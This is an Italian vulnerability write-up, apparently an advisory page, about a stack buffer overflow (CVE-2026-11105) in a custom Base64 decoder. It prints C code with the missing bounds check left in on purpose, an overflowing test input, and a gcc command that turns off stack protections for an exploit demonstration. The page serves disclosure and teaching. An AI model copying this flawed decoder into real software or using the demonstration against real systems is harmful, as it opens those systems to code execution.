CVE-2026-11105 – Overflow del buffer di stack nel decoder Base64 personalizzato

Codice del programma (C)

// base64_vuln.c - Vulnerable Base64 decoder
#include <stdio.h>
#include <string.h>
#include <stdint.h>

int base64_decode(const char *in, size_t inlen, char *out, size_t outlen) {
    static const char table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    int outpos = 0;
    for (int i=0; i<inlen; i+=4) {
        uint32_t sextet = 0;
        int bytes = 0;
        for (int j=0; j<4; j++) {
            if (i+j >= inlen) break;
            const char *p = strchr(table, in[i+j]);
            if (p) sextet = (sextet << 6) | (p - table);
            else bytes++;
        }
        // No check on outpos exceeding outlen!
        out[outpos++] = (sextet >> 16) & 0xFF;
        if (bytes < 2) out[outpos++] = (sextet >> 8) & 0xFF;
        if (bytes < 1) out[outpos++] = sextet & 0xFF;
    }
    return outpos;
}

int main() {
    char smallbuf[8];
    char *malicious = "AAAA"; // padded, decodes to 3 bytes, but we'll feed a long string
    // Attacker sends very long Base64 string, overflows smallbuf
    base64_decode("QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB", 60, smallbuf, 8);
    return 0;
}

CVE-2026-11105 – Overflow del buffer di stack nel decoder Base64

Panoramica

Una funzione di decodifica Base64 personalizzata non valida la dimensione del buffer di output, causando un classico overflow del buffer di stack. Un attaccante può creare un input sovradimensionato per sovrascrivere l'indirizzo di ritorno e ottenere l'esecuzione di codice.

Dettagli della vulnerabilità

Tipo: Overflow del buffer di stack
Impatto: Esecuzione di codice in remoto (se esposto sulla rete).
Causa principale: Il decoder scrive i byte decodificati in sequenza senza garantire che il puntatore di output rimanga all'interno del buffer allocato.

Dimostrazione dell'exploit

Compila il decoder vulnerabile (disattiva le protezioni):

gcc -o base64_vuln base64_vuln.c -fno-stack-protector -z execstack

Esegui lo script di exploit per innescare l'overflow:
```
python exploit_base64_overflow.py
```

CVE-2026-11105-Stack-Buffer-Overflow-in-Custom-Base64-Decoder

Più Popolari